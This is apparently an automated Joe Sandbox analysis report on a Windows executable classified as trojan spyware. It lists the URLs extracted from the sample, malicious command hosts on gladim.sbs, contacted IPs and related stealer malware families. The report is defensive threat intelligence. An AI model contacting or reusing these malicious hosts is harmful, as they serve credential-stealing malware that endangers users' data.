https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
http://www.microsoft.c	mtbkkesfthae.exe, 00000000.00000003.1243198579.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1243224925.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://i.y.qq.com/n2/m/index.html	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.deezer.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://steamcommunity.com/profiles/76561199803837316	mtbkkesfthae.exe	false		high
https://gladim.sbs	mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://web.telegram.org/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.15.dr	false		high
https://gladim.sbs/z4uj	mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://drive-daily-4.corp.google.com/	manifest.json.15.dr	false		high
https://vibe.naver.com/today	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	false		high
https://assets.msn.com	8232c1f4-05d9-4544-8f26-6aec678c90d9.tmp.16.dr	false		high
https://www.ecosia.org/newtab/	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, FHJDBK.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.15.dr	false		high
https://excel.new?from=EdgeM365Shoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.15.dr	false		high
https://www.google.com/chrome	content.js.15.dr, content_new.js.15.dr	false		high
https://www.tiktok.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://chromewebstore.google.com/	manifest.json0.15.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.15.dr	false		high
https://y.music.163.com/m/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://bard.google.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://web.whatsapp.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://gladim.sbs/K	mtbkkesfthae.exe, 00000000.00000003.1319981212.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1295911554.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1366095985.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://web.telegram.org	mtbkkesfthae.exe, 00000000.00000003.1243198579.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1295911554.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1366095985.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.office.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://outlook.live.com/mail/0/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	false		high
https://tidal.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://gladim.sbs/b4mj	mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gladim.sbs/g	mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gaana.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://drive-staging.corp.google.com/	manifest.json.15.dr	false		high
https://gladim.sbs/P4	mtbkkesfthae.exe, 00000000.00000003.1295911554.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/compose?isExtension=true	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	false		high
https://gladim.sbs/d	mtbkkesfthae.exe, 00000000.00000003.1366095985.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://ntp.msn.com/	000003.log1.15.dr	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13377578868452520.15.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.15.dr	false		high
https://word.new?from=EdgeM365Shoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://outlook.office.com/mail/0/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	false		high
https://m.soundcloud.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json.15.dr	false		high
https://music.amazon.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://open.spotify.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://twitter.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://web.skype.com/?browsername=edge_stable_shoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://gladim.sbs/8Y	mtbkkesfthae.exe, 00000000.00000003.1319981212.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://m.vk.com/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://ac.ecosia.org/autocomplete?q=	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, FHJDBK.0.dr	false		high
https://drive-daily-6.corp.google.com/	manifest.json.15.dr	false		high
https://drive-daily-0.corp.google.com/	manifest.json.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.iheart.com/podcast/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://music.yandex.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://t.me/gv4dlpg88paMozilla/5.0	mtbkkesfthae.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.200.0.42	unknown	United States	20940	AKAMAI-ASN1EU	false
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.219.82.16	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.40	s-part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.239.43	unknown	United States	20940	AKAMAI-ASN1EU	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
52.182.143.215	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
94.130.210.71	gladim.sbs	Germany	24940	HETZNER-ASDE	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566332
Start date and time:	2024-12-02 01:33:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mtbkkesfthae.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@64/263@34/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 74.125.205.84, 93.184.221.240, 34.104.35.123, 172.217.21.35, 13.107.42.16, 204.79.197.203, 172.217.19.238, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 23.32.238.138, 2.19.198.56, 2.16.158.48, 2.16.158.179, 2.16.158.33, 2.16.158.97, 2.16.158.184, 2.16.158.35, 2.16.158.40, 2.16.158.27, 2.16.158.170, 104.116.245.88, 2.16.158.241, 2.16.158.243, 104.116.245.58, 104.116.245.81, 104.116.245.42, 104.116.245.50, 104.116.245.66, 104.116.245.82, 23.32.238.208, 23.32.238.168, 2.16.158.96, 2.16.158.56, 2.16.158.169, 2.16.158.59, 2.16.158.90, 2.16.158.91, 2.16.158.72, 2.16.158.81, 2.16.158.82, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.165.69.228, 142.250.65.227, 142.251.40.163, 142.250.176.195
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.ne
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeleteValueKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.200.0.42	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://abex.co.in/1/?clickid=crj4hrne79is73f9g3kg&lp_key=17263275da2fd8c1a244a24d3218001b69e7968282&t1=1083194587&t2=.us.05.desktop.nonadult.windows.edge&key=7dfcf14e88e3f6336162#	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
20.25.227.174	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	FRSSDE.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	172.64.41.3
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	172.64.41.3
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.64.41.3
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
s-part-0012.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.40
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse	13.107.246.40
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.40
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.40
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.40
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	http://iglawfirm.com/services/antai-fr/	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://sales-agreement-carpal-relative.s3.amazonaws.com/payout/completed/SEKTJGJFFJlfkdjklm4GHKHKYKFLFL/onedrive.html	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	118.214.207.240
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	23.194.118.77
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	184.51.34.64
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	184.51.34.34
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	23.199.10.121
	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	TT18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	104.70.121.41
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://svchorst.com	Get hash	malicious	Unknown	Browse	51.11.20.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	40.126.149.20
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	20.153.157.97
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	20.80.148.247
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	21.127.152.188
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	20.179.51.13
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	21.78.95.50
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	20.104.161.206
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	52.255.49.126
AKAMAI-ASN1EU	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	118.214.207.240
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	23.194.118.77
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	184.51.34.64
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	184.51.34.34
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	23.199.10.121
	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	TT18.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	104.70.121.41
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://svchorst.com	Get hash	malicious	Unknown	Browse	51.11.20.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	40.126.149.20
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	20.153.157.97
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	20.80.148.247
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	21.127.152.188
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	20.179.51.13
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	21.78.95.50
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	20.104.161.206
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	52.255.49.126

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	jdrgsotrti.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	daytjhasdawd.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	https://digital.flippages.com/pub-cdf3fad3	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.63 20.190.181.1 23.206.103.35
37f463bf4616ecd445d4a1937da06e19	1szaOlhR1r.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 94.130.210.71
	EXPLORER.EXE.exe	Get hash	malicious	CobaltStrike	Browse	149.154.167.99 94.130.210.71
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99 94.130.210.71
	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 94.130.210.71
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 94.130.210.71
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 94.130.210.71
	TT18.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 94.130.210.71
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	149.154.167.99 94.130.210.71
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 94.130.210.71
	nthnaedltg.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 94.130.210.71

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
